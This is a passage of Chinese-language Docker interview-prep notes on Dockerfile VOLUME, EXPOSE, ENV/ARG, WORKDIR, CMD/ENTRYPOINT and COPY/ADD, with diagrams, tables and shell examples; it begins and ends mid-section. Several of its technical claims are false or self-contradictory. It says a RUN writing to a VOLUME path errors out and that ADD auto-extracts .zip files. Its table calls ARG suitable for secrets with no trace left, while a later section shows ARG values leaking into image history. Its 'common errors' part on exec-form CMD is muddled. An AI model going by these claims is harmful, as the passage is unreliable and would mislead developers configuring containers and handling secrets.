        BIND_MOUNT[绑定挂载<br/>-v /host/path:/data]
        TMPFS[tmpfs<br/>--tmpfs /data]
    end

    subgraph 特点
        ANON_VOL --> A1[自动创建名字<br/>不易管理<br/>很难复用]
        NAMED_VOL --> N1[名称固定<br/>容易管理<br/>便于复用]
        BIND_MOUNT --> B1[宿主路径<br/>可指定位置<br/>依赖路径存在]
        TMPFS --> T1[存在内存<br/>速度快<br/>容器停止丢失]
    end

重要:Dockerfile VOLUME 的限制

限制一:不能覆盖

FROM alpine:latest

VOLUME /data
RUN echo "hello" > /data/test.txt
# ❌ 这里会报错!VOLUME 声明后,该路径不能再写入
# 因为 VOLUME 在容器启动时才真正挂载

限制二:不能删除

# 即使 Dockerfile 没有写 VOLUME
# 也可以在运行时手动指定 volume
docker run -v /data myapp

# 但如果 Dockerfile 写了 VOLUME
# 即使是 docker run -v /dev/null:/data 也不能阻止 volume 创建
# 只是外部的 /dev/null 会覆盖挂载点

限制三:匿名卷的清理

# 容器删除后,匿名卷不会自动删除
docker rm myapp
docker volume ls
# 还有一堆 abc123... 的匿名卷

# 手动清理
docker volume prune
# 删除所有未被使用的匿名卷

最佳实践

在 Dockerfile 中声明 vs 在运行时声明

# ✅ 建议在 Dockerfile 中声明 VOLUME 的场景:
# - 数据库数据目录(PostgreSQL、MySQL)
# - 日志目录(Nginx、Apache)
# - 上传文件目录
VOLUME /var/lib/mysql
VOLUME /var/log/nginx
VOLUME /uploads

# ❌ 不建议在 Dockerfile 中声明 VOLUME 的场景:
# - 配置文件目录
# - 代码目录
# - 只读数据
# 这些应该通过 docker run -v 运行时挂载

开发 vs 生产

# 开发环境:绑定挂载方便热更新
docker run -v $(pwd)/src:/app/src myapp

# 生产环境:命名卷便于管理和备份
docker run -v app-data:/var/lib/data myapp

# 测试环境:tmpfs 避免写入磁盘
docker run --tmpfs /var/lib/data myapp

面试追问

问:VOLUME 和 docker commit 的关系?

答:VOLUME 中的数据不会被 docker commit 包含在镜像中。这是因为 volume 是运行时数据,不应该被固化到镜像里。

问:如果 -v 挂载了空目录到一个有文件的 VOLUME 路径,会怎样?

答:容器初始化时会将镜像中的文件复制到 volume(仅第一次)。但如果挂载的是宿主机空目录,则会清空原路径。这就是为什么挂载时要注意目录是否为空。

总结

特性 说明
声明方式 Dockerfile 中 VOLUME /path
主要目的 数据持久化、性能优化
绕过 UnionFS ✅ 数据直接写 volume
容器删除后数据 ✅ 保留在 volume 中
多个容器共享 ✅ 可挂载同一 volume
清理方式 docker volume prune

一句话总结VOLUME 是告诉 Docker「这个目录的数据很重要,不要藏在镜像层里——要单独存起来」。


Dockerfile EXPOSE 指令与 docker run -p 的关系

Dockerfile EXPOSE 指令与 docker run -p 的关系

核心答案

EXPOSE-p 是两个完全不同的概念:

graph TB
    subgraph EXPOSE 指令
        E[EXPOSE 80]
        E --> META[纯元数据<br/>只是声明]
        E --> DOC[文档作用<br/>告诉用户: 我监听 80 端口]
        E --> NO_ACCESS[不暴露端口<br/>外部无法访问]
    end

    subgraph docker run -p
        P[-p 8080:80]
        P --> ACTUAL[实际操作<br/>端口映射]
        P --> ACCESS[外部可访问<br/>host:8080  container:80]
    end
特性 EXPOSE -p
写在 Dockerfile docker run 命令
作用 文档声明 实际端口映射
是否暴露端口 ❌ 不暴露 ✅ 暴露
必须使用吗 按需
多个端口 可声明多个 可映射多个

EXPOSE 的”只声明不做”

FROM nginx:alpine

# 声明容器会监听 80 和 443 端口
EXPOSE 80
EXPOSE 443

# 即使声明了,外部仍然无法访问
# 必须用 -p 才能真正暴露
# 只声明,不映射
docker run -d nginx
# 容器启动了,但无法通过 http://localhost 访问

# 实际映射
docker run -d -p 8080:80 nginx
# ✅ 可以通过 http://localhost:8080 访问

EXPOSE 的真实用途

用途一:文档说明

FROM node:18-alpine

# 告诉用户:这个容器需要暴露 3000 端口才能工作
EXPOSE 3000

CMD ["node", "app.js"]
# 用户通过 docker inspect 查看
docker inspect myapp | jq '.[0].Config.ExposedPorts'
# {
#   "3000/tcp": {}
# }

# 或者使用 docker run -P 自动映射
docker run -d -P myapp
# Docker 会自动将 3000 映射到一个随机主机端口

用途二:配合 -P 自动分配主机端口

# EXPOSE 的唯一"实际"作用:配合 -P 参数
docker run -d -P nginx

# 查看映射的端口
docker ps
# PORTS
# 0.0.0.0:32768->80/tcp    ← 自动映射到 32768

# 如果不写 EXPOSE,-P 不会映射任何端口

用途三:服务发现

# docker-compose.yml 中
services:
  web:
    build: .
    ports:
      - "3000:3000"    # 实际映射
                      # 但 EXPOSE 可以让 docker-compose 知道
                      # 哪些端口是容器需要的

实际端口暴露的三种方式

graph TB
    subgraph 暴露端口的方式
        P1[-p 指定端口映射]
        P2[-P 自动映射 EXPOSE 的端口]
        P3[--network=host 直接共享主机网络]
    end

    subgraph 效果
        P1 -->|: -p 8080:80| MAPPED[主机 8080  容器 80]
        P2 -->|随机映射| RANDOM[主机随机  容器 80/443]
        P3 -->|完全共享| HOST[容器用主机网络<br/>端口直接是主机端口]
    end
# 方式一:指定映射
docker run -p 8080:80 -p 8443:443 nginx

# 方式二:自动映射所有 EXPOSE 端口
docker run -P nginx
# 自动分配两个随机端口映射到 80 和 443

# 方式三:共享主机网络
docker run --network=host nginx
# 直接监听主机的 80 端口(不需要 -p)

EXPOSE 的端口协议

# 默认是 TCP
EXPOSE 80              # 等价于 EXPOSE 80/tcp

# 也可以指定 UDP
EXPOSE 53/udp
EXPOSE 53/tcp

# 多个端口
EXPOSE 80/tcp
EXPOSE 443/tcp
EXPOSE 53/udp
# 映射 UDP 端口也需要在 -p 中指定
docker run -p 8080:80 -p 5353:53/udp myapp

常见误区

误区一:以为 EXPOSE = 暴露端口

# ❌ 错误理解
# Dockerfile 写了 EXPOSE 80,就以为可以直接访问
docker run -d nginx
# curl http://localhost:80  ← 无法访问!

# ✅ 正确理解
docker run -d -p 80:80 nginx
# EXPOSE 只是"说明",-p 才是"执行"

误区二:胡乱写入 EXPOSE

# ❌ 不需要把所有端口都写上
EXPOSE 3000
EXPOSE 3001
EXPOSE 3002
EXPOSE 3003
...

# ✅ 只写文档必要的端口
# 实际应用在监听 3000-3003,但只暴露 3000
EXPOSE 3000

误区三:以为 EXPOSE 影响安全

# EXPOSE 不影响任何网络安全策略
# 端口是否可达完全取决于 docker run 的 -p 参数

docker run -p 80:80 nginx      # 端口可达
docker run nginx                 # 端口不可达(即使 Dockerfile 有 EXPOSE)

EXPOSE vs -p 组合对照表

Dockerfile docker run 结果
无 EXPOSE 无 -p 无端口暴露
EXPOSE 80 无 -p 无端口暴露
EXPOSE 80 -P 主机随机端口 → 容器80
EXPOSE 80 -p 8080:80 主机8080 → 容器80
无 EXPOSE -p 8080:80 主机8080 → 容器80(照样可以!)
无 EXPOSE -P 无端口映射(因为没有 EXPOSE 声明)

最佳实践

# 总是写 EXPOSE — 为你的用户提供文档
FROM node:18-alpine

EXPOSE 3000                  # 文档声明
EXPOSE 9229                  # 调试端口也用 EXPLICIT 声明

CMD ["node", "app.js"]
# 正式运行
docker run -d -p 80:3000 myapp

# 调试运行
docker run -d -p 80:3000 -p 9229:9229 myapp:debug

面试追问

问:一个容器可以暴露多个端口吗?如何在 -p 中映射?

答:可以。Dockerfile 中写多个 EXPOSE,运行时多次使用 -p:

docker run -p 8080:80 -p 8443:443 -p 5353:53/udp myapp

问:如果镜像设置了 EXPOSE,但容器实际没有监听该端口会怎样?

答:没有任何问题。EXPOSE 只是声明,不检查容器是否真的在监听。即使写了 EXPOSE 80 但容器里没启动 nginx,运行也不会报错。

总结

EXPOSE     = "这个容器可能需要用到端口 80"  → 文档
docker run -p 8080:80  = "把主机的 8080 端口交给容器"  → 实际操作
-P         = "帮我把所有 EXPOSE 的端口映射到随机主机端口"  → 快捷操作
--network host = "别隔离了,直接用主机网络"  → 另一种方式

一句话总结EXPOSE 是写说明书(告诉用户我要用 80 端口),-p 是实际开门(把主机端口映射给容器)。


Dockerfile ENV 和 ARG 的区别

Dockerfile ENV 和 ARG 的区别

核心区别

ENVARG 都用于在 Dockerfile 中定义变量,但它们有一个根本区别:

特性 ENV ARG
作用时机 构建时 + 运行时 仅构建时
继承到容器 ✅ 是 ❌ 否
docker build 覆盖 ❌ 不可(除非重写 Dockerfile) --build-arg
敏感信息 ❌ 不适合存密码(在镜像中可见) ✅ 构建时可用,不留镜像
graph LR
    subgraph ENV 的作用范围
        ENV_BUILD[构建阶段 ]
        ENV_RUN[运行阶段 <br/>环境变量进入容器]
        ENV_DOCKERFILE[Dockerfile 定义]

        ENV_DOCKERFILE --> ENV_BUILD --> ENV_RUN
    end

    subgraph ARG 的作用范围
        ARG_BUILD[构建阶段 ]
        ARG_RUN[运行阶段 <br/>容器中不可见]
        ARG_BUILD_CMD[--build-arg 传参]

        ARG_BUILD_CMD --> ARG_BUILD
        ARG_BUILD -.->|不传递| ARG_RUN
    end

ENV 详解

定义和使用

FROM node:18-alpine

# 定义环境变量
ENV NODE_ENV=production
ENV APP_HOME=/app
ENV PORT=3000

# 可以在后续指令中使用 $VAR
WORKDIR $APP_HOME
COPY . .
RUN echo "Environment: $NODE_ENV" > /app/env.txt

EXPOSE $PORT
CMD ["node", "app.js"]

容器中的 ENV

# 构建镜像后,ENV 会保留在容器中
docker build -t myapp .
docker run -it myapp env

# 输出:
NODE_ENV=production     继承自镜像
APP_HOME=/app           继承自镜像
PORT=3000               继承自镜像

# 运行时覆盖
docker run -e NODE_ENV=development -e PORT=8080 myapp env
# NODE_ENV=development  ← 被覆盖
# PORT=8080             ← 被覆盖

ARG 详解

定义和使用

FROM node:18-alpine

# 声明构建参数(带默认值)
ARG NODE_ENV=production
ARG APP_VERSION=1.0.0
ARG BUILD_DATE

# 在构建中使用
RUN echo "Building version: ${APP_VERSION} env: ${NODE_ENV}"
LABEL version=${APP_VERSION}
LABEL build-date=${BUILD_DATE}

构建时传参

# 使用默认值
docker build -t myapp .

# 覆盖特定参数
docker build \
    --build-arg NODE_ENV=development \
    --build-arg APP_VERSION=2.0.0 \
    --build-arg BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ') \
    -t myapp:dev .

核心区别验证

验证一:容器中是否可见

FROM alpine:latest

ENV MY_ENV="我是ENV变量"
ARG MY_ARG="我是ARG变量"

RUN echo "构建时 ENV: $MY_ENV"    #  输出: 我是ENV变量
RUN echo "构建时 ARG: $MY_ARG"    #  输出: 我是ARG变量
CMD env | grep MY_
docker build -t test-var .
docker run test-var

# 输出:
# MY_ENV=我是ENV变量    ← ENV 在容器中可见
# MY_ARG=**没输出**    ← ARG 在容器中不可见

验证二:构建缓存的影响

FROM alpine:latest

# ARG 变化会影响缓存
ARG VERSION=1
RUN echo "Version: $VERSION" > /version.txt

# ENV 变化影响后续所有层
ENV NAME=myapp
RUN echo "Name: $NAME" > /name.txt
# ARG 不同重不重建?
docker build --build-arg VERSION=1 -t app:v1 .
docker build --build-arg VERSION=2 -t app:v2 .
# RUN echo "Version: ..." 这一层缓存 ❌ 失效重建
# 因为 ARG 值变了

# ENV 不同重不重建?
# ENV 值变了会导致后续所有依赖该 ENV 的层缓存失效

实战用法

用法一:ARG 传递敏感信息(构建时)

FROM node:18-alpine

ARG NPM_TOKEN

# NPM_TOKEN 只在构建时使用
RUN echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" > .npmrc && \
    npm ci --only=production && \
    rm -f .npmrc

# 注意:.npmrc 被删除了,但...
# 问题:如果 RUN 中 echo 了 token,token 会留在镜像层中!
# 所以不要直接在 RUN 中 echo 敏感信息
# 构建时传入 token
docker build --build-arg NPM_TOKEN=xxx -t myapp .

用法二:ENV 存版本/构建信息

FROM node:18-alpine

# 使用 ARG 只在构建时有效的信息
ARG BUILD_DATE
ARG COMMIT_SHA

# 使用 ENV 写入最终镜像
ENV BUILD_DATE=${BUILD_DATE}
ENV COMMIT_SHA=${COMMIT_SHA}
# 构建并查看
docker build \
    --build-arg BUILD_DATE=$(date -u +%Y-%m-%dT%H:%M:%SZ) \
    --build-arg COMMIT_SHA=$(git rev-parse HEAD) \
    -t myapp .

docker run myapp env
# BUILD_DATE=2024-01-15T10:00:00Z ← 保留在镜像中
# COMMIT_SHA=abc123...              ← 保留在镜像中

用法三:ARG 的默认值模式

# 开发环境使用默认值
FROM node:18-alpine

ARG NODE_ENV=production    # 默认 production

# 开发构建时可以覆盖
RUN if [ "$NODE_ENV" = "development" ]; then \
        npm install -g nodemon; \
    fi
# 生产构建 — 使用默认值
docker build -t myapp:prod .

# 开发构建 — 覆盖 ARG
docker build --build-arg NODE_ENV=development -t myapp:dev .

重要:ARG 的持久化陷阱

FROM alpine:latest

# 即使后面删除了 ARG 文件,信息可能留在镜像层中!
ARG SECRET_TOKEN=supersecret123

RUN echo "Token: $SECRET_TOKEN"    # 层1: 包含 "supersecret123"
RUN rm -f somefile                 # 层2: 删除无用文件
# 问题:层1 的数据不会被删除!token 在镜像中可见
# 查看镜像层
docker history app --no-trunc
# 层1: /bin/sh -c echo "Token: supersecret123"
# → 密码可见!

最佳实践

FROM node:18-alpine

# ARG — 构建时配置
ARG NODE_ENV=production
ARG APP_VERSION

# 将需要持久化的 ARG 赋值给 ENV
ENV NODE_ENV=${NODE_ENV}

# ENV — 运行时配置
ENV PORT=3000
ENV LOG_LEVEL=info

# 不要在 ENV 或 ARG 中放密码!
# 使用 docker secret 或外部密钥管理

WORKDIR /app
COPY . .

EXPOSE $PORT
CMD ["node", "app.js"]

面试追问

问:如何让 ARG 的值传递到多阶段构建的最终阶段?

# 方案一:在最终阶段重新声明 ARG
ARG VERSION=1.0.0

FROM node:18-alpine AS builder
ARG VERSION
RUN echo "Build version: ${VERSION}"

FROM alpine:latest
# 必须重新声明才能使用
ARG VERSION
RUN echo "Final version: ${VERSION}"

# 方案二:通过文件传递(不推荐)

问:ENV 会影响 docker history 的输出吗?

答:会的。ENV 指令虽然不产生文件层(空层),但会记录在镜像 Config 中。通过 docker inspect 可以看到所有的 ENV 值,所以不要把密码放在 ENV 中

总结

使用场景 用 ENV 用 ARG
运行时需要的配置
构建参数(传版本号)
敏感信息(token/密码) ❌(用 secret)
需要容器内可见
需要在构建时临时使用
默认值可被构建时覆盖

一句话总结ENV 是「留到容器里的」,ARG 是「只在构建时用的」——把需要持久化的用 ENV,只在构建时需要的用 ARG。


Dockerfile WORKDIR 指令的作用

Dockerfile WORKDIR 指令的作用

核心概念

WORKDIR 用于设置 Dockerfile 中后续指令的工作目录。如果指定的目录不存在,Docker 会自动创建它。

# 设置工作目录为 /app
WORKDIR /app

# 后续所有相对路径都基于 /app
COPY . .                    # 等价于 COPY . /app/
RUN npm install             #  /app 下执行
CMD ["node", "index.js"]    #  /app 下找 index.js
graph TB
    subgraph WORKDIR 的作用
        WD[WORKDIR /app]

        WD --> DIR[创建目录 /app ]
        WD --> CD[切换当前目录到 /app]
        WD --> PERSIST[影响后续所有指令]

        subgraph 后续指令
            COPY[COPY . .<br/> 复制到 /app/]
            RUN[RUN npm install<br/>  /app 下执行]
            CMD[CMD ["node", "index.js"]<br/> /app/index.js]
            CONS[RUNTIME: 容器启动后也在 /app]
        end

        CD --> COPY & RUN & CMD & CONS
    end

使用 WORKDIR vs 用 RUN mkdir && cd

✅ 好的方式:WORKDIR

FROM node:18-alpine

# 自动创建并切换
WORKDIR /app

# 后续指令都在 /app 下
COPY package.json ./
RUN npm install
COPY . .
CMD ["node", "app.js"]

对比效果:

# WORKDIR /app 等价于:
# RUN mkdir -p /app && cd /app
# 但不同之处:WORKDIR 影响 CMD/ENTRYPOINT 运行容器的初始目录

❌ 坏的方式:纯 RUN

FROM node:18-alpine

# RUN cd 只对当前指令有效,不会持久化
RUN mkdir -p /app
RUN cd /app && echo "hello" > test.txt

# 下面这条 COPY 仍然复制到根目录!
COPY . .    # 复制到 / 而不是 /app

# CMD 也是在 / 下执行
CMD ["node", "app.js"]  #  / 下找 app.js 会找不到
graph LR
    subgraph WORKDIR 的效果
        A[WORKDIR /app] --> B[RUN pwd  /app]
        B --> C[COPY file ./<br/> /app/file]
        C --> D[容器启动目录  /app]
    end

    subgraph RUN cd 的效果
        E[RUN mkdir /app] --> F[RUN cd /app && pwd  /app<br/>但下一个 RUN 又在 /]
        F --> G[COPY file ./  /file ]
        G --> H[容器启动目录  / ]
    end

多 WORKDIR 的使用

FROM node:18-alpine

# 第一次设置
WORKDIR /app
RUN echo "First" > first.txt     # /app/first.txt

# 第二次设置(切换到子目录)
WORKDIR src
RUN echo "Second" > second.txt   # /app/src/second.txt

# 返回上级目录
WORKDIR ..
RUN echo "Root" > root.txt       # /app/root.txt
# 目录结构
/app/
├── first.txt
├── root.txt
└── src/
    └── second.txt

WORKDIR 的实际价值

价值一:避免路径混乱

# ❌ 没有 WORKDIR — 到处都是绝对路径
FROM node:18-alpine
COPY package.json /app/
COPY src/ /app/src/
RUN cd /app && npm install
COPY config/ /app/config/
CMD ["node", "/app/app.js"]

# ✅ 用 WORKDIR — 路径清晰
FROM node:18-alpine
WORKDIR /app
COPY package.json ./
COPY src/ ./src/
RUN npm install
COPY config/ ./config/
CMD ["node", "app.js"]

价值二:跟 CMD 和 ENTRYPOINT 配合

FROM node:18-alpine

# WORKDIR 影响容器运行时的初始目录
WORKDIR /app

# CMD 中的相对路径基于 WORKDIR
CMD ["node", "app.js"]
# 容器启动后:cd /app && node app.js

# 如果用 docker run 覆盖命令
# docker run myapp ls  # 在 /app 下执行 ls

价值三:与 ENV 配合

FROM node:18-alpine

# WORKDIR 支持 ENV 变量
ENV APP_HOME=/app
WORKDIR $APP_HOME     # 相当于 WORKDIR /app
COPY . .              # 复制到 /app

多阶段构建中的 WORKDIR

# 每个阶段可以有自己的 WORKDIR
FROM golang:1.20 AS builder
WORKDIR /src
COPY . .
RUN go build -o /app/myapp

FROM alpine:latest
WORKDIR /app
COPY --from=builder /app/myapp ./
CMD ["./myapp"]

常见错误

错误一:忘记设置 WORKDIR

FROM python:3.11-slim

# 没有 WORKDIR
COPY app.py .          # 复制到 /app.py
COPY templates/ ./     # 复制到 /templates/  混乱!

错误二:WORKDIR 放到 COPY 后面

FROM node:18-alpine
COPY package.json ./   # 复制到根目录
WORKDIR /app           # 切换到了 /app
COPY package.json ./   # 再复制一次到 /app  冗余

错误三:在 WORKDIR 中使用 ~ 或 $$

# ❌ 不推荐
WORKDIR ~/app          # 可能不是你想要的路径

# ✅ 用绝对路径
WORKDIR /app

# ✅ 或用相对路径但明确
WORKDIR app            # 基于 / 的相对路径 → /app(如果之前有设置)

面试追问

问:WORKDIR 创建目录的权限是什么?

答:默认是 0755,属主是 root:root。如果需要特定权限,可以用 RUN chmod 或 RUN chown 修改,或用 USER 切换后再创建。

问:可以和 COPY 的 –chown 配合使用吗?

FROM node:18-alpine
WORKDIR /app
COPY --chown=node:node . .
# 所有 /app 下的文件属主变更为 node

总结

场景 用 WORKDIR 不用 WORKDIR
路径清晰度 相对路径,一目了然 全部绝对路径,混乱
代码量 简写短路径 每次写长路径
容器启动目录 自动设置 默认是 /
目录创建 自动 mkdir -p 需要手动创建
多阶段构建 各阶段独立 容易混淆

一句话总结WORKDIR 就是 Dockerfile 中的 cd,但比 cd 更好——它会自动创建目录、持久化到后续指令、并影响容器的初始工作目录。


Dockerfile CMD 和 ENTRYPOINT 区别

Dockerfile CMD 和 ENTRYPOINT 区别

核心区别

CMDENTRYPOINT 都定义了容器启动时执行的默认命令,但它们的角色不同:

graph TB
    subgraph CMD vs ENTRYPOINT
        EP[ENTRYPOINT<br/>程序入口<br/>不可被覆盖(有 --entrypoint 参数)]
        CMD[CMD<br/>默认参数<br/>可被 docker run 后的命令覆盖]
    end

    subgraph 关系
        JOIN[两者搭配使用]
        EP -->|提供可执行文件| JOIN
        CMD -->|提供默认参数| JOIN
        JOIN --> RESULT[最终启动命令]
    end
特性 CMD ENTRYPOINT
定义启动程序 ✅ 可定义 ✅ 可定义
docker run 覆盖 ✅ 完全覆盖 ❌ 变为追加参数
搭配使用 作为默认参数 作为主程序入口
常用场景 提供可变的默认值 固定容器行为

单独使用 CMD

FROM ubuntu:22.04

# CMD 提供默认启动命令
CMD ["echo", "Hello World"]
# 默认行为
docker run myapp
# 输出: Hello World

# 覆盖 CMD
docker run myapp echo "Goodbye"
# 输出: Goodbye ← CMD 被完全覆盖

单独使用 ENTRYPOINT

FROM ubuntu:22.04

# ENTRYPOINT 固定入口
ENTRYPOINT ["echo"]
# 默认行为(没有 CMD)
docker run myapp
# 输出: (空)

# docker run 后的命令追加到 ENTRYPOINT 后面
docker run myapp "Hello World"
# 输出: Hello World
# 等价于执行: echo "Hello World"

docker run myapp "Goodbye"
# 输出: Goodbye

组合使用(最推荐的方式)

FROM ubuntu:22.04

# ENTRYPOINT = 程序入口(固定的可执行文件)
ENTRYPOINT ["echo"]

# CMD = 默认参数(可被覆盖)
CMD ["Hello World"]
# 使用默认参数
docker run myapp
# 输出: Hello World
# 等价于: echo "Hello World"

# 覆盖参数
docker run myapp "Goodbye"
# 输出: Goodbye
# 等价于: echo "Goodbye"

# 传递多个参数
docker run myapp -e "foo=bar"
# 输出: -e foo=bar

实战案例

案例一:Redis 官方镜像

# Redis Dockerfile 简化版
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y redis-server

# 固定入口为 redis-server
ENTRYPOINT ["redis-server"]

# 默认配置,但用户可以覆盖
CMD ["--port", "6379"]
# 默认启动(端口 6379)
docker run redis
# 等价于: redis-server --port 6379

# 自定义端口
docker run redis --port 6380
# 等价于: redis-server --port 6380

# 无法替换 redis-server,只能追加参数

案例二:自定义脚本入口

FROM node:18-alpine

# 一个带参启动脚本
COPY docker-entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/docker-entrypoint.sh

ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["node", "app.js"]
# 默认启动 app.js
docker run myapp

# 可以在不更改入口脚本的情况下切换程序
docker run myapp node "another-app.js"

案例三:工具类的容器

# 作为命令行工具使用
FROM alpine:latest

ENTRYPOINT ["curl"]
CMD ["--help"]
# 查看帮助
docker run curl-container
# 等价于: curl --help

# 使用 curl 下载
docker run curl-container -O https://example.com/file.zip
# 等价于: curl -O https://example.com/file.zip

执行规则表

graph TB
    DOCKERFILE[Dockerfile] --> HAS_ENTRYPOINT{Dockerfile  ENTRYPOINT?}

    HAS_ENTRYPOINT -->|| CHECK_CMD{也有 CMD?}
    CHECK_CMD -->|| CHECK_OVERRIDE{ docker run 参数?}
    CHECK_OVERRIDE -->|| COMBINE1[ENTRYPOINT + 用户参数]
    CHECK_OVERRIDE -->|| COMBINE2[ENTRYPOINT + CMD]

    HAS_ENTRYPOINT -->|没有| CHECK_CMD2{ CMD?}
    CHECK_CMD2 -->|| CHECK_OVERRIDE2{ docker run 参数?}
    CHECK_OVERRIDE2 -->|| USE_USER_CMD[用户参数覆盖 CMD]
    CHECK_OVERRIDE2 -->|| USE_CMD[CMD 作为启动命令]

    CHECK_CMD2 -->|没有| ERROR[没有可执行命令 ❌]

规则表格

ENTRYPOINT CMD docker run 参数 最终执行
["cmd"] cmd
["cmd"] arg1 arg1(CMD 被覆盖)
["entry"] entry
["entry"] arg1 entry arg1
["entry"] ["cmd"] entry cmd
["entry"] ["cmd"] arg1 entry arg1(CMD 被覆盖)

Shell 形式 vs Exec 形式

# Shell 形式 — 通过 /bin/sh -c 执行
CMD echo Hello World
ENTRYPOINT echo Hello World
# 问题:不会接收 Docker 的信号(SIGTERM)

# Exec 形式 — 直接执行,推荐
CMD ["echo", "Hello World"]
ENTRYPOINT ["echo", "Hello World"]
# 优点:捕获信号,优雅关闭

常见错误

错误一:CMD 和 ENTRYPOINT 混淆角色

# ❌ 错误:应该用 ENTRYPOINT 却用了 CMD
CMD ["nginx", "-g", "daemon off;"]  # 用户可能导致容器异常
# docker run myapp bash → 替换了 nginx...

# ✅ 正确:用 ENTRYPOINT 固定行为
ENTRYPOINT ["nginx", "-g", "daemon off;"]
# docker run myapp bash → bash 附加为参数,nginx 部分参数异常
# 但用户意图明确(要换 nginx 参数需要 --entrypoint)

错误二:忘记 exec 形式必须是 JSON 数组

# ❌ Shell 形式(虽然看起来像数组)
CMD ["echo", "Hello"]  # 这是 exec 形式 # ❌ 这种写法会出错
CMD echo "Hello"       # shell 形式

# ❌ 错误的 JSON
CMD ["echo", "Hello World"]  # 多个单词在同一个字符串中会当成一个参数
CMD ["echo", "Hello", "World"]  #  单独分开

面试追问

问:如果在 docker run 中同时指定了 --entrypoint 和参数,会怎样?

# Dockerfile:
ENTRYPOINT ["echo"]
CMD ["default"]

# 运行命令
docker run --entrypoint "cat" myapp /etc/hosts
# 最终执行: cat /etc/hosts
# --entrypoint 完全覆盖 ENTRYPOINT,剩余参数覆盖 CMD

问:什么时候应该用 ENTRYPOINT 而不是 CMD?

答:当容器应该像一个特定命令行工具时用 ENTRYPOINT,当容器有合理的默认行为但允许用户完全替换时用 CMD。最常用的是组合模式:ENTRYPOINT 固定入口 + CMD 提供默认参数。

总结

场景 推荐写法 说明
简单应用,允许用户替换 CMD ["app"] 用户可完全替换命令
固定行为的服务 ENTRYPOINT ["service", "start"] 用户无法替换入口
需要灵活参数的服务 ENTRYPOINT ["service"] + CMD ["default-args"] 最佳组合
工具类容器 ENTRYPOINT ["tool"] + CMD ["--help"] 类似命令行工具
有前置处理脚本 ENTRYPOINT ["entrypoint.sh"] 脚本处理参数后再启动

一句话总结ENTRYPOINT 定「做什么事」,CMD 定「默认怎么做」,两者组合使用最优雅。


Dockerfile COPY 和 ADD 的区别

Dockerfile COPY 和 ADD 的区别

核心区别

COPYADD 都用于将文件从构建上下文复制到镜像中,但它们有一个关键区别:

特性 COPY ADD
复制本地文件
自动解压 tar 包
支持 URL 下载
建议使用 ✅ 推荐 ⚠️ 慎用

核心原则:能只用 COPY 的时候就别用 ADD。

功能对比

COPY — 纯粹的复制

# 基本用法
COPY <源路径> <目标路径>

# 复制的源必须在构建上下文中
COPY ./app /app
COPY requirements.txt /app/
COPY --chown=node:node ./config /app/config

ADD — COPY + 额外功能

# 自动解压 tar 包
ADD app.tar.gz /app/           # 自动解压到 /app/
# 等价于:
# COPY app.tar.gz /tmp/
# RUN tar -xzf /tmp/app.tar.gz -C /app/ && rm /tmp/app.tar.gz

# 从 URL 下载
ADD https://example.com/file.tar.gz /tmp/

什么时候用 ADD?一个比一个危险

危一:ADD 远程 URL

# ❌ 用 ADD 下载文件
ADD https://example.com/bigfile.tar.gz /tmp/

# 问题:
# 1. 每次构建都要重新下载(除非手动管理缓存)
# 2. 下载失败会导致构建失败
# 3. 不可审计 — 不知道下载了什么
# 4. URL 指向的内容可能变化

# ✅ 更好的做法:用 curl/wget + RUN
RUN curl -fsSL https://example.com/bigfile.tar.gz -o /tmp/bigfile.tar.gz && \
    tar -xzf /tmp/bigfile.tar.gz -C /opt && \
    rm /tmp/bigfile.tar.gz

危二:ADD 自动解压可能会坑你

# 期望行为:添加压缩包供后续使用
ADD data.tar.gz /data/
# 实际:自动解压了!所有文件直接出现在 /data/ 下

# ✅ 如果用 COPY:
COPY data.tar.gz /data/
# 压缩包原封不动放在 /data/ 下,需要时手动解压

什么样的 tar 包会解压?

# ADD 会自动解压的格式
# - .tar
# - .tar.gz / .tgz
# - .tar.bz2
# - .tar.xz
# - .tar.zst

# ADD 不会自动解压的格式
# - .zip ← ⚠️ 不对!.zip 也会自动解压
# .jar、.war 不会解压(因为不是 tar 格式)

完整对比表

graph TB
    subgraph COPY 行为
        CP[COPY] --> CP1[复制本地文件到镜像]
        CP1 --> CP2[文件原样保留]
    end

    subgraph ADD 行为
        ADDCMD[ADD]
        ADDCMD --> ADD1[复制本地文件到镜像]
        ADDCMD --> ADD2[自动解压 tar 包]
        ADDCMD --> ADD3[下载远程 URL]

        ADD1 --> ADD4[文件原样保留]
        ADD2 --> ADD5[自动解压展开]
        ADD3 --> ADD6[下载到目标路径]
    end

实际场景对比

场景一:复制应用代码

# COPY — 标准做法
FROM node:18-alpine
WORKDIR /app
COPY package.json ./
COPY src/ ./src/
COPY public/ ./public/

# 不要用 ADD 来做这些!

场景二:添加归档文件

# ❌ ADD 自动解压,但可能不是你想要的
ADD vendor.tar.gz /app/vendor/
# 如果 vendor.tar.gz 包含的是:
#   vendor/
#   ├── lib1/
#   └── lib2/
# 结果会是 /app/vendor/vendor/lib1/(多了一层)

# ✅ 如果目标是要解压到指定目录:
ADD vendor.tar.gz /app/
# vendor.tar.gz 解压后 vendor/ 出现在 /app/ 下

# ✅ COPY + 手动解压(更明确):
COPY vendor.tar.gz /tmp/
RUN tar -xzf /tmp/vendor.tar.gz -C /app/ && rm /tmp/vendor.tar.gz

场景三:添加配置文件

# COPY 足够的场景
COPY nginx.conf /etc/nginx/nginx.conf
COPY --chmod=644 config/app.yml /etc/app/config.yml
COPY --chown=app:app .env /app/.env

# 不需要 ADD 的任何功能

性能对比

# 构建缓存行为
# COPY 只根据文件内容变化触发缓存失效
# ADD 如果指向 URL,缓存失效不容易控制

# COPY — 缓存清晰
COPY package.json ./   # 只有 package.json 内容变化才失效

# ADD URL — 缓存不确定
ADD https://.../file.tar.gz ./   # 除非 URL 文件头 ETag 有变
graph LR
    subgraph COPY 缓存
        A[COPY package.json] --> B{内容变了}
        B -->|| C[ 缓存命中]
        B -->|| D[ 重建]
    end

    subgraph ADD URL 缓存
        E[ADD https://...] --> F{URL 内容变了?}
        F -->|ETag 相同| G[ 缓存命中]
        F -->|ETag 变了| H[ 重建]
        F -->|缓存失效策略| I[⚠️ 不确定性高]
    end

官方推荐

官方 Dockerfile 最佳实践中明确说:

